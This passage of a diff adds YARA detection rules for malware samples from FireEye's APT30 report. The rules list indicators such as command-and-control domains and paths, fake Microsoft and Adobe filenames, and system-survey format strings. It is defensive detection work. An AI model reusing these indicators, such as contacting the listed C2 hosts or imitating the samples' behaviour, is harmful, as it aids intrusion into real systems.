+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "75367d8b506031df5923c2d8d7f1b9f643a123cd"
+		id = "e5c6afde-0ab5-54ed-8d18-5ad477a527d7"
+	strings:
+		$s0 = "GetStartupIn" ascii
+		$s1 = "enMutex" ascii
+		$s2 = "tpsvimi" ascii
+		$s3 = "reateProcesy" ascii
+		$s5 = "FreeLibr1y*S" ascii
+		$s6 = "foAModuleHand" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_5 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "1a2dd2a0555dc746333e7c956c58f7c4cdbabd4b"
+		id = "bdbebe44-7423-5793-8a42-4f9b70de2231"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s3 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s7 = "msmsgs" fullword wide
+		$s10 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_6 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "00e69b059ad6b51b76bc476a115325449d10b4c0"
+		id = "2f19809c-09fc-51bf-9a20-6b95099a92dd"
+	strings:
+		$s0 = "GreateProcessA" fullword ascii
+		$s1 = "Ternel32.dll" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_7 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "868d1f4c106a08bd2e5af4f23139f0e0cd798fba"
+		id = "612732d9-8df5-5388-b299-2da4f8118435"
+	strings:
+		$s0 = "datain" fullword ascii
+		$s3 = "C:\\Prog" ascii
+		$s4 = "$LDDATA$" ascii
+		$s5 = "Maybe a Encrypted Flash" fullword ascii
+		$s6 = "Jean-loup Gailly" ascii
+		$s8 = "deflate 1.1.3 Copyright" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_E {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "1dbb584e19499e26398fb0a7aa2a01b7"
+		hash2 = "572c9cd4388699347c0b2edb7c6f5e25"
+		hash3 = "8ff473bedbcc77df2c49a91167b1abeb"
+		hash4 = "a813eba27b2166620bd75029cc1f04b0"
+		hash5 = "b5546842e08950bc17a438d785b5a019"
+		id = "69e76a59-3529-541d-9017-07e6d67fbda4"
+	strings:
+		$s0 = "Nkfvtyvn}" ascii
+		$s6 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_8 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "9531e21652143b8b129ab8c023dc05fef2a17cc3"
+		id = "5053c2db-32a9-58ae-9a72-eb16ef14168e"
+	strings:
+		$s0 = "ateProcessA" ascii
+		$s1 = "Ternel32.dllFQ" fullword ascii
+		$s2 = "StartupInfoAModuleHand" fullword ascii
+		$s3 = "OpenMutex" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_B {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "0fcb4ffe2eb391421ec876286c9ddb6c"
+		hash2 = "29395c528693b69233c1c12bef8a64b3"
+		hash3 = "4c6b21e98ca03e0ef0910e07cef45dac"
+		hash4 = "550459b31d8dabaad1923565b7e50242"
+		hash5 = "65232a8d555d7c4f7bc0d7c5da08c593"
+		hash6 = "853a20f5fc6d16202828df132c41a061"
+		hash7 = "ed151602dea80f39173c2f7b1dd58e06"
+		id = "df3b8896-7229-5b3b-ad2f-774b0cea167c"
+	strings:
+		$s2 = "Moziea/4.0" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_I {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "fe211c7a081c1dac46e3935f7c614549"
+		hash2 = "8c9db773d387bf9b3f2b6a532e4c937c"
+		id = "55046e1a-731a-5418-9a7a-4fe1611c77d0"
+	strings:
+		$s0 = "Copyright 2012 Google Inc. All rights reserved." fullword wide
+		$s1 = "(Prxy%c-%s:%u)" fullword ascii
+		$s2 = "Google Inc." fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_9 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "442bf8690401a2087a340ce4a48151c39101652f"
+		id = "bf24bb57-aff9-579c-b8a2-265a6d2a06d0"
+	strings:
+		$s0 = "\\Windo" ascii
+		$s2 = "oHHOSTR" ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" ascii
+		$s6 = "Ora\\%^" ascii
+		$s7 = "\\Ohttp=r" ascii
+		$s17 = "help32Snapshot0L" ascii
+		$s18 = "TimUmoveH" ascii
+		$s20 = "WideChc[lobalAl" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Sample_10 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "eb518cda3c4f4e6938aaaee07f1f7db8ee91c901"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s2 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s3 = "!! Use Connect Method !!" fullword ascii
+		$s4 = "(Prxy%c-%s:%u)" fullword ascii
+		$s5 = "msmsgs" fullword wide
+		$s18 = "(Prxy-No)" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_11 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "59066d5d1ee3ad918111ed6fcaf8513537ff49a6"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
+		$s1 = "msofscan.exe" fullword wide
+		$s2 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
+		$s3 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s4 = "Windows XP Professional x64 Edition or Windows Server 2003" fullword ascii
+		$s9 = "NetEagle_Scout - " fullword ascii
+		$s10 = "Server 4.0, Enterprise Edition" fullword ascii
+		$s11 = "Windows 3.1(Win32s)" fullword ascii
+		$s12 = "%s%s%s %s" fullword ascii
+		$s13 = "Server 4.0" fullword ascii
+		$s15 = "Windows Millennium Edition" fullword ascii
+		$s16 = "msofscan" fullword wide
+		$s17 = "Eagle-Norton360-OfficeScan" fullword ascii
+		$s18 = "Workstation 4.0" fullword ascii
+		$s19 = "2003 Microsoft Office system" fullword wide
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_12 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b02b5720ff0f73f01eb2ba029a58b645c987c4bc"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "Richic" fullword ascii
+		$s1 = "Accept: image/gif, */*" fullword ascii
+		$s2 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_13 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "a359f705a833c4a4254443b87645fd579aa94bcf"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "msofscan.exe" fullword wide
+		$s1 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s2 = "Microsoft Office Word Plugin Scan" fullword wide
+		$s3 = "? 2006 Microsoft Corporation.  All rights reserved." fullword wide
+		$s4 = "msofscan" fullword wide
+		$s6 = "2003 Microsoft Office system" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_14 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b0740175d20eab79a5d62cdbe0ee1a89212a8472"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "AdobeReader.exe" fullword wide
+		$s4 = "10.1.7.27" fullword wide
+		$s5 = "Copyright 1984-2012 Adobe Systems Incorporated and its licensors. All ri" wide
+		$s8 = "Adobe Reader" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_15 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "7a8576804a2bbe4e5d05d1718f90b6a4332df027"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "\\Windo" ascii
+		$s2 = "HHOSTR"  ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" fullword ascii
+		$s17 = "help32Snapshot0L" fullword ascii
+		$s18 = "TimUmoveH" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_16 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "066d06ac08b48d3382d46bbeda6ad411b6d6130e"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "\\Temp1020.txt" ascii
+		$s1 = "cmcbqyjs" fullword ascii
+		$s2 = "SPVSWh\\" fullword ascii
+		$s4 = "PSShxw@" fullword ascii
+		$s5 = "VWhHw@" fullword ascii
+		$s7 = "SVWhHw@" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_A {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "9f49aa1090fa478b9857e15695be4a89f8f3e594"
+		hash2 = "396116cfb51cee090822913942f6ccf81856c2fb"
+		hash3 = "fef9c3b4b35c226501f7d60816bb00331a904d5b"
+		hash4 = "7c9a13f1fdd6452fb6d62067f958bfc5fec1d24e"
+		hash5 = "5257ba027abe3a2cf397bfcae87b13ab9c1e9019"
+		id = "6b851d94-d3bd-5c76-8fd0-adb42b3fab73"
+	strings:
+		$s5 = "WPVWhhiA" fullword ascii
+		$s6 = "VPWVhhiA" fullword ascii
+		$s11 = "VPhhiA" fullword ascii
+		$s12 = "uUhXiA" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_17 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "c3aa52ff1d19e8fc6704777caf7c5bd120056845"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s1 = "Nkfvtyvn}]ty}ztU" fullword ascii
+		$s4 = "IEXPL0RE" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Sample_18 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "355436a16d7a2eba8a284b63bb252a8bb1644751"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "w.km-nyc.com" fullword ascii
+		$s1 = "tscv.exe" fullword ascii
+		$s2 = "Exit/app.htm" ascii
+		$s3 = "UBD:\\D" ascii
+		$s4 = "LastError" ascii
+		$s5 = "MicrosoftHaveAck" ascii
+		$s7 = "HHOSTR" ascii
+		$s20 = "XPL0RE." ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_G {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "1612b392d6145bfb0c43f8a48d78c75f"
+		hash = "53f1358cbc298da96ec56e9a08851b4b"
+		hash = "c2acc9fc9b0f050ec2103d3ba9cb11c0"
+		hash = "f18be055fae2490221c926e2ad55ab11"
+		id = "34269de3-4559-58a5-a621-0ad72857dc9e"
+	strings:
+		$s0 = "%s\\%s\\%s=%s" fullword ascii
+		$s1 = "Copy File %s OK!" fullword ascii
+		$s2 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s4 = "open=%s" fullword ascii
+		$s5 = "Maybe a Encrypted Flash Disk" fullword ascii
+		$s12 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_19 {
+   meta:
+      description = "FireEye APT30 Report Sample"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+      date = "2015/04/03"
+      modified = "2023-01-06"
+      score = 75
+      hash = "cfa438449715b61bffa20130df8af778ef011e15"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+   strings:
+      $s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+      $s1 = "%s,Volume:%s,Type:%s,TotalSize:%uMB,FreeSize:%uMB" fullword ascii
+      $s2 = "\\TEMP\\" ascii
+      $s3 = "\\Temporary Internet Files\\" ascii
+      $s5 = "%s TotalSize:%u Bytes" fullword ascii
+      $s6 = "This Disk Maybe a Encrypted Flash Disk!" fullword ascii
+      $s7 = "User:%-32s" fullword ascii
+      $s8 = "\\Desktop\\" ascii
+      $s9 = "%s.%u_%u" fullword ascii
+      $s10 = "Nick:%-32s" fullword ascii
+      $s11 = "E-mail:%-32s" fullword ascii
+      $s13 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+      $s14 = "Type:%-8s" fullword ascii
+   condition:
+      filesize < 100KB and uint16(0) == 0x5A4D and 8 of them
+}
+
+rule APT30_Generic_E_v2 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "eca53a9f6251ddf438508b28d8a483f91b99a3fd"
+		id = "40897687-fb17-568e-9907-e9588a53bbe0"
+	strings:
+		$s0 = "Nkfvtyvn}duf_Z}{Ys" fullword ascii
+		$s1 = "Nkfvtyvn}*Zrswru1i" fullword ascii
+		$s2 = "Nkfvtyvn}duf_Z}{V" fullword ascii
+		$s3 = "Nkfvtyvn}*ZrswrumT\\b" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_20 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b1c37632e604a5d1f430c9351f87eb9e8ea911c0"
+		id = "91246101-246b-5da9-9e55-7f361d1f6437"
+	strings:
+		$s0 = "dizhi.gif" fullword ascii
+		$s2 = "Mozilla/u" ascii
+		$s3 = "XicrosoftHaveAck" ascii
+		$s4 = "flyeagles" ascii
+		$s10 = "iexplore." ascii
+		$s13 = "WindowsGV" fullword ascii
+		$s16 = "CatePipe" fullword ascii
+		$s17 = "'QWERTY:/webpage3" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_21 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "d315daa61126616a79a8582145777d8a1565c615"
+		id = "72005b40-91f7-5661-9478-8680f999b245"
+	strings:
+		$s0 = "Service.dll" fullword ascii
+		$s1 = "(%s:%s %s)" fullword ascii
+		$s2 = "%s \"%s\",%s %s" fullword ascii
+		$s5 = "Proxy-%s:%u" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_22 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "0d17a58c24753e5f8fd5276f62c8c7394d8e1481"
+		id = "6c1b3dd2-4383-51a2-9185-2365a4d1e784"
+	strings:
+		$s1 = "(\\TEMP" fullword ascii
+		$s2 = "Windows\\Cur" fullword ascii
+		$s3 = "LSSAS.exeJ" fullword ascii
+		$s4 = "QC:\\WINDOWS" fullword ascii
+		$s5 = "System Volume" fullword ascii
+		$s8 = "PROGRAM FILE" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_F {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "09010917cd00dc8ddd21aeb066877aa2"
+		hash2 = "4c10a1efed25b828e4785d9526507fbc"
+		hash3 = "b7b282c9e3eca888cbdb5a856e07e8bd"
+		hash4 = "df1799845b51300b03072c6569ab96d5"
+		id = "cff8b921-9afc-5a52-84cb-825de33fc86e"
+	strings:
+		$s0 = "\\~zlzl.exe" ascii
+		$s2 = "\\Internet Exp1orer" ascii
+		$s3 = "NodAndKabIsExcellent" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_23 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "9865e24aadb4480bd3c182e50e0e53316546fc01"
+		id = "9366dd34-9967-5b40-935e-4b0d8f2f5e9e"
+	strings:
+		$s0 = "hostid" ascii
+		$s1 = "\\Window" ascii
+		$s2 = "%u:%u%s" fullword ascii
+		$s5 = "S2tware\\Mic" ascii
+		$s6 = "la/4.0 (compa" ascii
+		$s7 = "NameACKernel" fullword ascii
+		$s12 = "ToWideChc[lo" fullword ascii
+		$s14 = "help32SnapshotfL" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_24 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "572caa09f2b600daa941c60db1fc410bef8d1771"
+		id = "aed2201d-b557-56ec-aa53-fff5b1e17dbd"
+	strings:
+		$s1 = "dizhi.gif" fullword ascii
+		$s3 = "Mozilla/4.0" fullword ascii
+		$s4 = "lyeagles" fullword ascii
+		$s6 = "HHOSTR" ascii
+		$s7 = "#MicrosoftHaveAck7" ascii
+		$s8 = "iexplore." fullword ascii
+		$s17 = "ModuleH" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_25 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "44a21c8b3147fabc668fee968b62783aa9d90351"
+		id = "8b2f2ba2-e9cc-5b3c-8af9-4217d662bc3f"
+	strings:
+		$s1 = "C:\\WINDOWS" fullword ascii
+		$s2 = "aragua" fullword ascii
+		$s4 = "\\driver32\\7$" ascii
+		$s8 = "System V" fullword ascii
+		$s9 = "Compu~r" fullword ascii
+		$s10 = "PROGRAM L" fullword ascii
+		$s18 = "GPRTMAX" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_26 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "e26588113417bf68cb0c479638c9cd99a48e846d"
+		id = "aa80a142-c8fc-504e-b475-e9838607bec6"
+	strings:
+		$s1 = "forcegue" fullword ascii
+		$s3 = "Windows\\Cur" fullword ascii
+		$s4 = "System Id" fullword ascii
+		$s5 = "Software\\Mic" fullword ascii
+		$s6 = "utiBy0ToWideCh&$a" fullword ascii
+		$s10 = "ModuleH" fullword ascii
+		$s15 = "PeekNamed6G" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_D {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "35dfb55f419f476a54241f46e624a1a4"
+		hash2 = "4fffcbdd4804f6952e0daf2d67507946"
+		hash3 = "597805832d45d522c4882f21db800ecf"
+		hash4 = "6bd422d56e85024e67cc12207e330984"
+		hash5 = "82e13f3031130bd9d567c46a9c71ef2b"
+		hash6 = "b79d87ff6de654130da95c73f66c15fa"
+		id = "9b8d8a60-a357-5cfd-8ff1-6264144ad7be"
+	strings:
+		$s0 = "Windows Security Service Feedback" fullword wide
+		$s1 = "wssfmgr.exe" fullword wide
+		$s2 = "\\rb.htm" ascii
+		$s3 = "rb.htm" fullword ascii
+		$s4 = "cook5" ascii
+		$s5 = "5, 4, 2600, 0" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_27 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "959573261ca1d7e5ddcd19447475b2139ca24fe1"
+		id = "22815745-086f-59ee-aac1-f35e49aa5835"
+	strings:
+		$s0 = "Mozilla/4.0" fullword ascii
+		$s1 = "dizhi.gif" fullword ascii
+		$s5 = "oftHaveAck+" ascii
+		$s10 = "HlobalAl" fullword ascii
+		$s13 = "$NtRND1$" fullword ascii
+		$s14 = "_NStartup" ascii
+		$s16 = "GXSYSTEM" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_28 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "e62a63307deead5c9fcca6b9a2d51fb0"
+		hash2 = "5b590798da581c894d8a87964763aa8b"
+		id = "1bc8c68f-ebbb-58b1-92aa-5954318096a0"
+	strings:
+		$s0 = "www.flyeagles.com" fullword ascii
+		$s1 = "iexplore.exe" fullword ascii
+		$s2 = "www.km-nyc.com" fullword ascii
+		$s3 = "cmdLine.exe" fullword ascii
+		$s4 = "Software\\Microsoft\\CurrentNetInf" fullword ascii
+		$s5 = "/dizhi.gif" ascii
+		$s6 = "/connect.gif" ascii
+		$s7 = "USBTest.sys" fullword ascii
+		$s8 = "/ver.htm" fullword ascii
+		$s11 = "\\netscv.exe" ascii
+		$s12 = "/app.htm" fullword ascii
+		$s13 = "\\netsvc.exe" ascii
+		$s14 = "/exe.htm" fullword ascii
+		$s18 = "MicrosoftHaveAck" fullword ascii
+		$s19 = "MicrosoftHaveExit" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 7 of them
+}
+
+rule APT30_Sample_29 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
